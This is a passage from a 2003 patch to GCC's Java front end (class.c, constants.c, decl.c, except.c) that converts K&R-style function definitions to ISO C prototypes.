tmp; again: @@ -924,8 +911,7 @@ check_init (exp, before) } void -check_for_initialization (body, mdecl) - tree body, mdecl; +check_for_initialization (tree body, tree mdecl) { tree decl; word buf[2]; diff -rup orig/egcc-CVS20030110/gcc/java/class.c egcc-CVS20030110/gcc/java/class.c --- orig/egcc-CVS20030110/gcc/java/class.c 2003-01-09 22:02:25.000000000 -0500 +++ egcc-CVS20030110/gcc/java/class.c 2003-01-10 23:40:42.815642979 -0500 @@ -105,9 +105,7 @@ static GTY(()) tree class_roots[5]; appropriate node does not exist. */ static assume_compiled_node * -find_assume_compiled_node (node, ident) - assume_compiled_node *node; - const char *ident; +find_assume_compiled_node (assume_compiled_node *node, const char *ident) { while (node) { @@ -146,9 +144,7 @@ find_assume_compiled_node (node, ident) if EXCLUDEP is nonzero. */ void -add_assume_compiled (ident, excludep) - const char *ident; - int excludep; +add_assume_compiled (const char *ident, int excludep) { int len; assume_compiled_node *parent; @@ -199,8 +195,7 @@ add_assume_compiled (ident, excludep) should assume has been compiled to object code. */ static int -assume_compiled (ident) - const char *ident; +assume_compiled (const char *ident) { assume_compiled_node *i; int result; @@ -221,13 +216,12 @@ assume_compiled (ident) Also, PREFIX is prepended, and SUFFIX is appended. */ tree -ident_subst (old_name, old_length, prefix, old_char, new_char, suffix) - const char* old_name; - int old_length; - const char *prefix; - int old_char; - int new_char; - const char *suffix; +ident_subst (const char* old_name, + int old_length, + const char *prefix, + int old_char, + int new_char, + const char *suffix) { int prefix_len = strlen (prefix); int suffix_len = strlen (suffix); @@ -254,12 +248,11 @@ ident_subst (old_name, old_length, prefi Also, PREFIX is prepended, and SUFFIX is appended. */ tree -identifier_subst (old_id, prefix, old_char, new_char, suffix) - const tree old_id; - const char *prefix; - int old_char; - int new_char; - const char *suffix; +identifier_subst (const tree old_id, + const char *prefix, + int old_char, + int new_char, + const char *suffix) { return ident_subst (IDENTIFIER_POINTER (old_id), IDENTIFIER_LENGTH (old_id), prefix, old_char, new_char, suffix); @@ -269,9 +262,7 @@ identifier_subst (old_id, prefix, old_ch prefixed by PREFIX. */ tree -mangled_classname (prefix, type) - const char *prefix; - tree type; +mangled_classname (const char *prefix, tree type) { tree ident = TYPE_NAME (type); if (TREE_CODE (ident) != IDENTIFIER_NODE) @@ -280,7 +271,7 @@ mangled_classname (prefix, type) } tree -make_class () +make_class (void) { tree type; type = make_node (RECORD_TYPE); @@ -295,8 +286,7 @@ make_class () return a corresponding IDENTIFIER_NODE, except using '.' as separator. */ tree -unmangle_classname (name, name_length) - const char *name; int name_length; +unmangle_classname (const char *name, int name_length) { tree to_return = ident_subst (name, name_length, "", '/', '.', ""); /* It's not sufficient to compare to_return and get_identifier @@ -315,8 +305,7 @@ unmangle_classname (name, name_length) } tree -push_class (class_type, class_name) - tree class_type, class_name; +push_class (tree class_type, tree class_name) { tree decl, signature; const char *save_input_filename = input_filename; @@ -351,8 +340,7 @@ push_class (class_type, class_name) fill in field or methods, or do layout_type. */ tree -lookup_class (name) - tree name; +lookup_class (tree name) { tree decl = IDENTIFIER_CLASS_VALUE (name); if (decl == NULL_TREE) @@ -361,11 +349,8 @@ lookup_class (name) } void -set_super_info (access_flags, this_class, super_class, interfaces_count) - int access_flags; - tree this_class; - tree super_class; - int interfaces_count; +set_super_info (int access_flags, tree this_class, + tree super_class, int interfaces_count) { int total_supers = interfaces_count; tree class_decl = TYPE_NAME (this_class); @@ -388,9 +373,7 @@ set_super_info (access_flags, this_class } void -set_class_decl_access_flags (access_flags, class_decl) - int access_flags; - tree class_decl; +set_class_decl_access_flags (int access_flags, tree class_decl) { if (access_flags & ACC_PUBLIC) CLASS_PUBLIC (class_decl) = 1; if (access_flags & ACC_FINAL) CLASS_FINAL (class_decl) = 1; @@ -407,8 +390,7 @@ set_class_decl_access_flags (access_flag direct sub-classes of Object are 1, and so on. */ int -class_depth (clas) - tree clas; +class_depth (tree clas) { int depth = 0; if (! CLASS_LOADED_P (clas)) @@ -426,8 +408,7 @@ class_depth (clas) /* Return true iff TYPE2 is an interface that extends interface TYPE1 */ int -interface_of_p (type1, type2) - tree type1, type2; +interface_of_p (tree type1, tree type2) { int n, i; tree basetype_vec; @@ -454,8 +435,7 @@ interface_of_p (type1, type2) /* Return true iff TYPE1 inherits from TYPE2. */ int -inherits_from_p (type1, type2) - tree type1, type2; +inherits_from_p (tree type1, tree type2) { while (type1 != NULL_TREE && TREE_CODE (type1) == RECORD_TYPE) { @@ -469,8 +449,7 @@ inherits_from_p (type1, type2) /* Return a 1 iff TYPE1 is an enclosing context for TYPE2 */ int -enclosing_context_p (type1, type2) - tree type1, type2; +enclosing_context_p (tree type1, tree type2) { if (!INNER_CLASS_TYPE_P (type2)) return 0; @@ -490,8 +469,7 @@ enclosing_context_p (type1, type2) /* Return 1 iff there exists a common enclosing context between TYPE1 and TYPE2. */ -int common_enclosing_context_p (type1, type2) - tree type1, type2; +int common_enclosing_context_p (tree type1, tree type2) { if (!PURE_INNER_CLASS_TYPE_P (type1) || !PURE_INNER_CLASS_TYPE_P (type2)) return 0; @@ -512,9 +490,7 @@ int common_enclosing_context_p (type1, t } static void -add_interface_do (basetype_vec, interface_class, i) - tree basetype_vec, interface_class; - int i; +add_interface_do (tree basetype_vec, tree interface_class, int i) { tree interface_binfo = make_tree_vec (6); BINFO_TYPE (interface_binfo) = interface_class; @@ -530,8 +506,7 @@ add_interface_do (basetype_vec, interfac if attempt is made to add it twice. */ tree -maybe_add_interface (this_class, interface_class) - tree this_class, interface_class; +maybe_add_interface (tree this_class, tree interface_class) { tree basetype_vec = TYPE_BINFO_BASETYPES (this_class); int i; @@ -555,8 +530,7 @@ maybe_add_interface (this_class, interfa /* Add the INTERFACE_CLASS as one of the interfaces of THIS_CLASS. */ void -add_interface (this_class, interface_class) - tree this_class, interface_class; +add_interface (tree this_class, tree interface_class) { tree basetype_vec = TYPE_BINFO_BASETYPES (this_class); int i; @@ -579,9 +553,7 @@ add_interface (this_class, interface_cla in the list (*LIST) whose DECL_NAME is NAME. */ static tree * -find_named_method (list, name) - tree *list; - tree name; +find_named_method (tree *list, tree name) { while (*list && DECL_NAME (*list) != name) list = &TREE_CHAIN (*list); @@ -590,10 +562,7 @@ find_named_method (list, name) #endif static tree -build_java_method_type (fntype, this_class, access_flags) - tree fntype; - tree this_class; - int access_flags; +build_java_method_type (tree fntype, tree this_class, int access_flags) { if (access_flags & ACC_STATIC) return fntype; @@ -601,11 +570,7 @@ build_java_method_type (fntype, this_cla } tree -add_method_1 (this_class, access_flags, name, function_type) - tree this_class; - int access_flags; - tree name; - tree function_type; +add_method_1 (tree this_class, int access_flags, tree name, tree function_type) { tree method_type, fndecl; @@ -667,11 +632,7 @@ add_method_1 (this_class, access_flags, Its signature (mangled type) is METHOD_SIG (an IDENTIFIER_NODE). */ tree -add_method (this_class, access_flags, name, method_sig) - tree this_class; - int access_flags; - tree name; - tree method_sig; +add_method (tree this_class, int access_flags, tree name, tree method_sig) { tree function_type, fndecl; const unsigned char *sig @@ -687,11 +648,7 @@ add_method (this_class, access_flags, na } tree -add_field (class, name, field_type, flags) - tree class; - tree name; - tree field_type; - int flags; +add_field (tree class, tree name, tree field_type, int flags) { int is_static = (flags & ACC_STATIC) != 0; tree field; @@ -723,8 +680,7 @@ add_field (class, name, field_type, flag /* Associate a constant value CONSTANT with VAR_DECL FIELD. */ void -set_constant_value (field, constant) - tree field, constant; +set_constant_value (tree field, tree constant) { if (field == NULL_TREE) warning ("misplaced ConstantValue attribute (not in any field)"); @@ -751,9 +707,7 @@ set_constant_value (field, constant) #if 0 int -strLengthUtf8 (str, len) - char *str; - int len; +strLengthUtf8 (char *str, int len) { register unsigned char* ptr = (unsigned char*) str; register unsigned char *limit = ptr + len; @@ -772,9 +726,7 @@ strLengthUtf8 (str, len) */ static int32 -hashUtf8String (str, len) - const char *str; - int len; +hashUtf8String (const char *str, int len) { register const unsigned char* ptr = (const unsigned char*) str; register const unsigned char *limit = ptr + len; @@ -794,9 +746,7 @@ hashUtf8String (str, len) compiled Java resource, which is accessed by the runtime using NAME. */ void -compile_resource_file (name, filename) - char *name; - const char *filename; +compile_resource_file (char *name, const char *filename) { struct stat stat_buf; int fd; @@ -898,8 +848,7 @@ compile_resource_file (name, filename) tree utf8_decl_list = NULL_TREE; tree -build_utf8_ref (name) - tree name; +build_utf8_ref (tree name) { const char * name_ptr = IDENTIFIER_POINTER(name); int name_len = IDENTIFIER_LENGTH(name); @@ -971,8 +920,7 @@ build_utf8_ref (name) Also handles primitive types and array types. */ tree -build_class_ref (type) - tree type; +build_class_ref (tree type) { int is_compiled = is_compiled_class (type); if (is_compiled) @@ -1073,8 +1021,7 @@ build_class_ref (type) } tree -build_static_field_ref (fdecl) - tree fdecl; +build_static_field_ref (tree fdecl) { tree fclass = DECL_CONTEXT (fdecl); int is_compiled = is_compiled_class (fclass); @@ -1124,8 +1071,7 @@ build_static_field_ref (fdecl) } int -get_access_flags_from_decl (decl) - tree decl; +get_access_flags_from_decl (tree decl) { int access_flags = 0; if (TREE_CODE (decl) == FIELD_DECL || TREE_CODE (decl) == VAR_DECL) @@ -1196,8 +1142,7 @@ get_access_flags_from_decl (decl) } static tree -make_field_value (fdecl) - tree fdecl; +make_field_value (tree fdecl) { tree finit; int flags; @@ -1241,8 +1186,7 @@ make_field_value (fdecl) } static tree -make_method_value (mdecl) - tree mdecl; +make_method_value (tree mdecl) { static int method_name_count = 0; tree minit; @@ -1318,8 +1262,7 @@ make_method_value (mdecl) } static tree -get_dispatch_vector (type) - tree type; +get_dispatch_vector (tree type) { tree vtable = TYPE_VTABLE (type); if (vtable == NULL) @@ -1350,8 +1293,7 @@ get_dispatch_vector (type) } static tree -get_dispatch_table (type, this_class_addr) - tree type, this_class_addr; +get_dispatch_table (tree type, tree this_class_addr) { int abstract_p = CLASS_ABSTRACT (TYPE_NAME (type)); tree vtable = get_dispatch_vector (type); @@ -1426,8 +1368,7 @@ get_dispatch_table (type, this_class_add } void -make_class_data (type) - tree type; +make_class_data (tree type) { tree decl, cons, temp; tree field, fields_decl; @@ -1685,7 +1626,7 @@ make_class_data (type) } void -finish_class () +finish_class (void) { tree method; tree type_methods = TYPE_METHODS (current_class); @@ -1729,8 +1670,7 @@ finish_class () return 0 if we cannot assume that CLASS is compiled. Returns 1 for primitive and 0 for array types. */ int -is_compiled_class (class) - tree class; +is_compiled_class (tree class) { int seen_in_zip; if (TREE_CODE (class) == POINTER_TYPE) @@ -1776,8 +1716,7 @@ is_compiled_class (class) /* Build a VAR_DECL for the dispatch table (vtable) for class TYPE. */ tree -build_dtable_decl (type) - tree type; +build_dtable_decl (tree type) { tree dtype; @@ -1835,8 +1774,7 @@ build_dtable_decl (type) fields inherited from SUPER_CLASS. */ void -push_super_field (this_class, super_class) - tree this_class, super_class; +push_super_field (tree this_class, tree super_class) { tree base_decl; /* Don't insert the field if we're just re-laying the class out. */ @@ -1853,9 +1791,7 @@ push_super_field (this_class, super_clas /* Handle the different manners we may have to lay out a super class. */ static tree -maybe_layout_super_class (super_class, this_class) - tree super_class; - tree this_class; +maybe_layout_super_class (tree super_class, tree this_class) { if (TREE_CODE (super_class) == RECORD_TYPE) { @@ -1886,8 +1822,7 @@ maybe_layout_super_class (super_class, t } void -layout_class (this_class) - tree this_class; +layout_class (tree this_class) { tree super_class = CLASSTYPE_SUPER (this_class); tree field; @@ -1990,8 +1925,7 @@ layout_class (this_class) } void -layout_class_methods (this_class) - tree this_class; +layout_class_methods (tree this_class) { tree method_decl, dtable_count; tree super_class; @@ -2028,8 +1962,8 @@ layout_class_methods (this_class) DTABLE_COUNT. Also mangle the method's name. */ tree -layout_class_method (this_class, super_class, method_decl, dtable_count) - tree this_class, super_class, method_decl, dtable_count; +layout_class_method (tree this_class, tree super_class, + tree method_decl, tree dtable_count) { tree method_name = DECL_NAME (method_decl); @@ -2087,7 +2021,7 @@ layout_class_method (this_class, super_c } void -register_class () +register_class (void) { /* END does not need to be registered with the garbage collector because it always points into the list given by REGISTERED_CLASS, @@ -2114,7 +2048,7 @@ register_class () class in this file. */ void -emit_register_classes () +emit_register_classes (void) { /* ??? This isn't quite the correct test. We also have to know that the target is using gcc's crtbegin/crtend objects rather @@ -2205,7 +2139,7 @@ build_method_symbols_entry (tree method) /* Emit the offset symbols table for indirect virtual dispatch. */ void -emit_offset_symbol_table () +emit_offset_symbol_table (void) { tree method_list, method, table, list, null_symbol; tree otable_bound, otable_array_type; @@ -2260,7 +2194,7 @@ emit_offset_symbol_table () } void -init_class_processing () +init_class_processing (void) { registerClass_libfunc = gen_rtx_SYMBOL_REF (Pmode, "_Jv_RegisterClass"); registerResource_libfunc = @@ -2278,17 +2212,14 @@ static int java_treetreehash_compare (co #define JAVA_TREEHASHHASH_H(t) (htab_hash_pointer (t)) static hashval_t -java_treetreehash_hash (k_p) - const void *k_p; +java_treetreehash_hash (const void *k_p) { struct treetreehash_entry *k = (struct treetreehash_entry *) k_p; return JAVA_TREEHASHHASH_H (k->key); } static int -java_treetreehash_compare (k1_p, k2_p) - const void * k1_p; - const void * k2_p; +java_treetreehash_compare (const void * k1_p, const void * k2_p) { struct treetreehash_entry * k1 = (struct treetreehash_entry *) k1_p; tree k2 = (tree) k2_p; @@ -2296,9 +2227,7 @@ java_treetreehash_compare (k1_p, k2_p) } tree -java_treetreehash_find (ht, t) - htab_t ht; - tree t; +java_treetreehash_find (htab_t ht, tree t) { struct treetreehash_entry *e; hashval_t hv = JAVA_TREEHASHHASH_H (t); @@ -2310,9 +2239,7 @@ java_treetreehash_find (ht, t) } tree * -java_treetreehash_new (ht, t) - htab_t ht; - tree t; +java_treetreehash_new (htab_t ht, tree t) { void **e; struct treetreehash_entry *tthe; @@ -2331,9 +2258,7 @@ java_treetreehash_new (ht, t) } htab_t -java_treetreehash_create (size, gc) - size_t size; - int gc; +java_treetreehash_create (size_t size, int gc) { if (gc) return htab_create_ggc (size, java_treetreehash_hash, diff -rup orig/egcc-CVS20030110/gcc/java/constants.c egcc-CVS20030110/gcc/java/constants.c --- orig/egcc-CVS20030110/gcc/java/constants.c 2003-01-09 21:35:24.000000000 -0500 +++ egcc-CVS20030110/gcc/java/constants.c 2003-01-10 23:40:42.825642515 -0500 @@ -41,11 +41,7 @@ static tree build_constant_data_ref (voi /* Set the INDEX'th constant in CPOOL to have the given TAG and VALUE. */ static void -set_constant_entry (cpool, index, tag, value) - CPool *cpool; - int index; - int tag; - jword value; +set_constant_entry (CPool *cpool, int index, int tag, jword value) { if (cpool->data == NULL) { @@ -73,10 +69,7 @@ set_constant_entry (cpool, index, tag, v /* Find (or create) a constant pool entry matching TAG and VALUE. */ int -find_constant1 (cpool, tag, value) - CPool *cpool; - int tag; - jword value; +find_constant1 (CPool *cpool, int tag, jword value) { int i; for (i = cpool->count; --i > 0; ) @@ -92,10 +85,7 @@ find_constant1 (cpool, tag, value) /* Find a double-word constant pool entry matching TAG and WORD1/WORD2. */ int -find_constant2 (cpool, tag, word1, word2) - CPool *cpool; - int tag; - jword word1, word2; +find_constant2 (CPool *cpool, int tag, jword word1, jword word2) { int i; for (i = cpool->count - 1; --i > 0; ) @@ -112,10 +102,7 @@ find_constant2 (cpool, tag, word1, word2 } static int -find_tree_constant (cpool, tag, value) - CPool *cpool; - int tag; - tree value; +find_tree_constant (CPool *cpool, int tag, tree value) { int i; for (i = cpool->count; --i > 0; ) @@ -131,9 +118,7 @@ find_tree_constant (cpool, tag, value) int -find_utf8_constant (cpool, name) - CPool *cpool; - tree name; +find_utf8_constant (CPool *cpool, tree name) { if (name == NULL_TREE) return 0; @@ -141,10 +126,7 @@ find_utf8_constant (cpool, name) } static int -find_class_or_string_constant (cpool, tag, name) - CPool *cpool; - int tag; - tree name; +find_class_or_string_constant (CPool *cpool, int tag, tree name) { jword j = find_utf8_constant (cpool, name); int i; @@ -159,9 +141,7 @@ find_class_or_string_constant (cpool, ta } int -find_class_constant (cpool, type) - CPool *cpool; - tree type; +find_class_constant (CPool *cpool, tree type) { return find_class_or_string_constant (cpool, CONSTANT_Class, build_internal_class_name (type)); @@ -170,9 +150,7 @@ find_class_constant (cpool, type) /* Allocate a CONSTANT_string entry given a STRING_CST. */ int -find_string_constant (cpool, string) - CPool *cpool; - tree string; +find_string_constant (CPool *cpool, tree string) { string = get_identifier (TREE_STRING_POINTER (string)); return find_class_or_string_constant (cpool, CONSTANT_String, string); @@ -183,10 +161,7 @@ find_string_constant (cpool, string) Return its index in the constant pool CPOOL. */ static int -find_name_and_type_constant (cpool, name, type) - CPool *cpool; - tree name; - tree type; +find_name_and_type_constant (CPool *cpool, tree name, tree type) { int name_index = find_utf8_constant (cpool, name); int type_index = find_utf8_constant (cpool, build_java_signature (type)); @@ -198,9 +173,7 @@ find_name_and_type_constant (cpool, name Return its index in the constant pool CPOOL. */ int -find_fieldref_index (cpool, decl) - CPool *cpool; - tree decl; +find_fieldref_index (CPool *cpool, tree decl) { int class_index = find_class_constant (cpool, DECL_CONTEXT (decl)); int name_type_index @@ -213,18 +186,13 @@ find_fieldref_index (cpool, decl) Return its index in the constant pool CPOOL. */ int -find_methodref_index (cpool, decl) - CPool *cpool; - tree decl; +find_methodref_index (CPool *cpool, tree decl) { return find_methodref_with_class_index (cpool, decl, DECL_CONTEXT (decl)); } int -find_methodref_with_class_index (cpool, decl, mclass) - CPool *cpool; - tree decl; - tree mclass; +find_methodref_with_class_index (CPool *cpool, tree decl, tree mclass) { int class_index = find_class_constant (cpool, mclass); tree name = DECL_CONSTRUCTOR_P (decl) ? init_identifier_node @@ -248,8 +216,7 @@ find_methodref_with_class_index (cpool, constant pool. Includes the 2-byte constant_pool_count. */ int -count_constant_pool_bytes (cpool) - CPool *cpool; +count_constant_pool_bytes (CPool *cpool) { int size = 2; int i = 1; @@ -294,10 +261,7 @@ count_constant_pool_bytes (cpool) The length of BUFFER is LENGTH, which must match the needed length. */ void -write_constant_pool (cpool, buffer, length) - CPool *cpool; - unsigned char *buffer; - int length; +write_constant_pool (CPool *cpool, unsigned char *buffer, int length) { unsigned char *ptr = buffer; int i = 1; @@ -348,8 +312,7 @@ CPool *outgoing_cpool; static GTY(()) tree tag_nodes[13]; static tree -get_tag_node (tag) - int tag; +get_tag_node (int tag) { /* A Cache for build_int_2 (CONSTANT_XXX, 0). */ @@ -365,9 +328,7 @@ get_tag_node (tag) Returns the index of the entry. */ int -alloc_name_constant (tag, name) - int tag; - tree name; +alloc_name_constant (int tag, tree name) { return find_tree_constant (outgoing_cpool, tag, name); } @@ -375,8 +336,7 @@ alloc_name_constant (tag, name) /* Build an identifier for the internal name of reference type TYPE. */ tree -build_internal_class_name (type) - tree type; +build_internal_class_name (tree type) { tree name; if (TYPE_ARRAY_P (type)) @@ -394,8 +354,7 @@ build_internal_class_name (type) /* Look for a CONSTANT_Class entry for CLAS, creating a new one if needed. */ int -alloc_class_constant (clas) - tree clas; +alloc_class_constant (tree clas) { tree class_name = build_internal_class_name (clas); @@ -408,7 +367,7 @@ alloc_class_constant (clas) /* Return a reference to the data array of the current constant pool. */ static tree -build_constant_data_ref () +build_constant_data_ref (void) { tree cpool_data_ref = NULL_TREE; @@ -433,8 +392,7 @@ build_constant_data_ref () /* Get the pointer value at the INDEX'th element of the constant pool. */ tree -build_ref_from_constant_pool (index) - int index; +build_ref_from_constant_pool (int index) { tree t = build_constant_data_ref (); index *= int_size_in_bytes (ptr_type_node); @@ -447,7 +405,7 @@ build_ref_from_constant_pool (index) Should only be called at top-level, since it may emit declarations. */ tree -build_constants_constructor () +build_constants_constructor (void) { tree tags_value, data_value; tree cons; diff -rup orig/egcc-CVS20030110/gcc/java/decl.c egcc-CVS20030110/gcc/java/decl.c --- orig/egcc-CVS20030110/gcc/java/decl.c 2003-01-09 22:09:32.000000000 -0500 +++ egcc-CVS20030110/gcc/java/decl.c 2003-01-10 23:40:42.835642444 -0500 @@ -93,7 +93,7 @@ int is_class_level = 0; int current_pc; void -indent () +indent (void) { register unsigned i; @@ -103,9 +103,7 @@ indent () #endif /* defined(DEBUG_JAVA_BINDING_LEVELS) */ static tree -push_jvm_slot (index, decl) - int index; - tree decl; +push_jvm_slot (int index, tree decl) { struct rtx_def *rtl = NULL; tree type = TREE_TYPE (decl); @@ -152,11 +150,7 @@ push_jvm_slot (index, decl) is returned, then updated is set to true. */ static tree -check_local_named_variable (best, decl, pc, updated) - tree best; - tree decl; - int pc; - int *updated; +check_local_named_variable (tree best, tree decl, int pc, int *updated) { if (pc >= DECL_LOCAL_START_PC (decl) && pc < DECL_LOCAL_END_PC (decl)) @@ -177,10 +171,7 @@ check_local_named_variable (best, decl, than 'best', return 'decl'. Otherwise return 'best'. */ static tree -check_local_unnamed_variable (best, decl, type) - tree best; - tree decl; - tree type; +check_local_unnamed_variable (tree best, tree decl, tree type) { if (TREE_TYPE (decl) == type || (TREE_CODE (TREE_TYPE (decl)) == TREE_CODE (type) @@ -204,10 +195,7 @@ check_local_unnamed_variable (best, decl If there is no existing matching decl, allocate one. */ tree -find_local_variable (index, type, pc) - int index; - tree type; - int pc; +find_local_variable (int index, tree type, int pc) { tree decl = TREE_VEC_ELT (decl_map, index); tree best = NULL_TREE; @@ -253,9 +241,7 @@ find_local_variable (index, type, pc) /* Same as find_local_index, except that INDEX is a stack index. */ tree -find_stack_slot (index, type) - int index; - tree type; +find_stack_slot (int index, tree type) { return find_local_variable (index + DECL_MAX_LOCALS (current_function_decl), type, -1); @@ -341,9 +327,7 @@ tree java_global_trees[JTI_MAX]; types shorter than int. */ static tree -push_promoted_type (name, actual_type) - const char *name; - tree actual_type; +push_promoted_type (const char *name, tree actual_type) { tree type = make_node (TREE_CODE (actual_type)); #if 1 @@ -373,13 +357,12 @@ push_promoted_type (name, actual_type) ATTRS is nonzero, use that for the function's attribute list. */ tree -builtin_function (name, type, function_code, class, library_name, attrs) - const char *name; - tree type; - int function_code; - enum built_in_class class; - const char *library_name; - tree attrs ATTRIBUTE_UNUSED; +builtin_function (const char *name, + tree type, + int function_code, + enum built_in_class class, + const char *library_name, + tree attrs ATTRIBUTE_UNUSED) { tree decl = build_decl (FUNCTION_DECL, get_identifier (name), type); DECL_EXTERNAL (decl) = 1; @@ -395,8 +378,7 @@ builtin_function (name, type, function_c /* Return tree that represents a vtable for a primitive array. */ static tree -create_primitive_vtable (name) - const char *name; +create_primitive_vtable (const char *name) { tree r; char buf[50]; @@ -408,7 +390,7 @@ create_primitive_vtable (name) } void -java_init_decl_processing () +java_init_decl_processing (void) { register tree endlink; tree field = NULL_TREE; @@ -952,8 +934,7 @@ java_init_decl_processing () or return 0 if it is undefined. */ tree -lookup_name (name) - tree name; +lookup_name (tree name) { register tree val; if (current_binding_level != global_binding_level @@ -968,8 +949,7 @@ lookup_name (name) the previous one if its the parameter level. */ static tree -lookup_name_current_level (name) - tree name; +lookup_name_current_level (tree name) { register tree t; @@ -989,8 +969,7 @@ lookup_name_current_level (name) /* Use a binding level to record a labeled block declaration */ void -push_labeled_block (lb) - tree lb; +push_labeled_block (tree lb) { register tree name = DECL_NAME (LABELED_BLOCK_LABEL (lb)); register struct binding_level *b = current_binding_level; @@ -1006,7 +985,7 @@ push_labeled_block (lb) labeled block */ void -pop_labeled_block () +pop_labeled_block (void) { struct binding_level *b = current_binding_level; tree label = b->names; @@ -1031,8 +1010,7 @@ pop_labeled_block () to agree with what X says. */ tree -pushdecl (x) - tree x; +pushdecl (tree x) { register tree t; register tree name = DECL_NAME (x); @@ -1150,8 +1128,7 @@ pushdecl (x) } void -pushdecl_force_head (x) - tree x; +pushdecl_force_head (tree x) { current_binding_level->names = x; } @@ -1159,8 +1136,7 @@ pushdecl_force_head (x) /* Like pushdecl, only it places X in GLOBAL_BINDING_LEVEL, if appropriate. */ tree -pushdecl_top_level (x) - tree x; +pushdecl_top_level (tree x) { register tree t; register struct binding_level *b = current_binding_level; @@ -1174,7 +1150,7 @@ pushdecl_top_level (x) /* Nonzero if we are currently in the global binding level. */ int -global_bindings_p () +global_bindings_p (void) { return current_binding_level == global_binding_level; } @@ -1185,7 +1161,7 @@ global_bindings_p () store the result back using `storedecls' or you will lose. */ tree -getdecls () +getdecls (void) { return current_binding_level->names; } @@ -1193,15 +1169,14 @@ getdecls () /* Create a new `struct binding_level'. */ static struct binding_level * -make_binding_level () +make_binding_level (void) { /* NOSTRICT */ return xmalloc (sizeof (struct binding_level)); } void -pushlevel (unused) - int unused ATTRIBUTE_UNUSED; +pushlevel (int unused ATTRIBUTE_UNUSED) { register struct binding_level *newlevel = NULL_BINDING_LEVEL; @@ -1257,10 +1232,7 @@ pushlevel (unused) them into the BLOCK. */ tree -poplevel (keep, reverse, functionbody) - int keep; - int reverse; - int functionbody; +poplevel (int keep, int reverse, int functionbody) { register tree link; /* The chain of decls was accumulated in reverse order. @@ -1464,8 +1436,7 @@ poplevel (keep, reverse, functionbody) } void -maybe_pushlevels (pc) - int pc; +maybe_pushlevels (int pc) { #if defined(DEBUG_JAVA_BINDING_LEVELS) current_pc = pc; @@ -1507,8 +1478,7 @@ maybe_pushlevels (pc) } void -maybe_poplevels (pc) - int pc; +maybe_poplevels (int pc) { #if defined(DEBUG_JAVA_BINDING_LEVELS) current_pc = pc; @@ -1529,8 +1499,7 @@ maybe_poplevels (pc) range is forcibly terminated when that exception ends. */ void -force_poplevels (start_pc) - int start_pc; +force_poplevels (int start_pc) { while (current_binding_level->start_pc > start_pc) { @@ -1548,8 +1517,7 @@ force_poplevels (start_pc) to handle the BLOCK node inside the BIND_EXPR. */ void -insert_block (block) - tree block; +insert_block (tree block) { TREE_USED (block) = 1; current_binding_level->blocks @@ -1560,8 +1528,7 @@ insert_block (block) (the one we are currently in). */ void -set_block (block) - register tree block; +set_block (tree block) { current_binding_level->this_block = block; current_binding_level->names = chainon (current_binding_level->names, @@ -1573,8 +1540,7 @@ set_block (block) /* integrate_decl_tree calls this function. */ void -java_dup_lang_specific_decl (node) - tree node; +java_dup_lang_specific_decl (tree node) { int lang_decl_size; struct lang_decl *x; @@ -1589,8 +1555,7 @@ java_dup_lang_specific_decl (node) } void -give_name_to_locals (jcf) - JCF *jcf; +give_name_to_locals (JCF *jcf) { int i, n = DECL_LOCALVARIABLES_OFFSET (current_function_decl); int code_offset = DECL_CODE_OFFSET (current_function_decl); @@ -1688,8 +1653,7 @@ give_name_to_locals (jcf) } tree -build_result_decl (fndecl) - tree fndecl; +build_result_decl (tree fndecl) { tree restype = TREE_TYPE (TREE_TYPE (fndecl)); tree result = DECL_RESULT (fndecl); @@ -1707,8 +1671,7 @@ build_result_decl (fndecl) } void -complete_start_java_method (fndecl) - tree fndecl; +complete_start_java_method (tree fndecl) { if (! flag_emit_class_files) { @@ -1780,8 +1743,7 @@ complete_start_java_method (fndecl) } void -start_java_method (fndecl) - tree fndecl; +start_java_method (tree fndecl) { tree tem, *ptr; int i; @@ -1840,7 +1802,7 @@ start_java_method (fndecl) } void -end_java_method () +end_java_method (void) { tree fndecl = current_function_decl; @@ -1865,9 +1827,7 @@ end_java_method () /* Dump FUNCTION_DECL FN as tree dump PHASE. */ static void -dump_function (phase, fn) - enum tree_dump_index phase; - tree fn; +dump_function (enum tree_dump_index phase, tree fn) { FILE *stream; int flags; @@ -1880,8 +1840,7 @@ dump_function (phase, fn) } } -void java_optimize_inline (fndecl) - tree fndecl; +void java_optimize_inline (tree fndecl) { if (flag_inline_trees) { diff -rup orig/egcc-CVS20030110/gcc/java/except.c egcc-CVS20030110/gcc/java/except.c --- orig/egcc-CVS20030110/gcc/java/except.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030110/gcc/java/except.c 2003-01-10 23:40:42.835642444 -0500 @@ -77,10 +77,7 @@ extern void indent (); previous children have end_pc values that are too low. */ static struct eh_range * -find_handler_in_range (pc, range, child) - int pc; - struct eh_range *range; - register struct eh_range *child; +find_handler_in_range (int pc, struct eh_range *range, struct eh_range *child) { for (; child != NULL; child = child->next_sibling) { @@ -99,8 +96,7 @@ find_handler_in_range (pc, range, child) /* Find the inner-most handler that contains PC. */ struct eh_range * -find_handler (pc) - int pc; +find_handler (int pc) { struct eh_range *h; if (pc >= cache_range_start) @@ -125,8 +121,7 @@ find_handler (pc) /* Recursive helper routine for check_nested_ranges. */ static void -link_handler (range, outer) - struct eh_range *range, *outer; +link_handler (struct eh_range *range, struct eh_range *outer) { struct eh_range **ptr; @@ -208,7 +203,7 @@ link_handler (range, outer) ensure that exception ranges are properly nested. */ void -handle_nested_ranges () +handle_nested_ranges (void) { struct eh_range *ptr, *next; @@ -225,8 +220,7 @@ handle_nested_ranges () /* Free RANGE as well as its children and siblings. */ static void -free_eh_ranges (range) - struct eh_range *range; +free_eh_ranges (struct eh_range *range) { while (range) { @@ -241,7 +235,7 @@ free_eh_ranges (range) /* Called to re-initialize the exception machinery for a new method. */ void -method_init_exceptions () +method_init_exceptions (void) { free_eh_ranges (&whole_range); whole_range.start_pc = 0; @@ -267,10 +261,7 @@ method_init_exceptions () what the sorting counteracts. */ void -add_handler (start_pc, end_pc, handler, type) - int start_pc, end_pc; - tree handler; - tree type; +add_handler (int start_pc, int end_pc, tree handler, tree type) { struct eh_range *ptr, *prev = NULL, *h; @@ -306,8 +297,7 @@ add_handler (start_pc, end_pc, handler, /* if there are any handlers for this range, issue start of region */ static void -expand_start_java_handler (range) - struct eh_range *range; +expand_start_java_handler (struct eh_range *range) { #if defined(DEBUG_JAVA_BINDING_LEVELS) indent (); @@ -319,8 +309,7 @@ expand_start_java_handler (range) } tree -prepare_eh_table_type (type) - tree type; +prepare_eh_table_type (tree type) { tree exp; @@ -347,8 +336,7 @@ prepare_eh_table_type (type) exception header. */ tree -build_exception_object_ref (type) - tree type; +build_exception_object_ref (tree type) 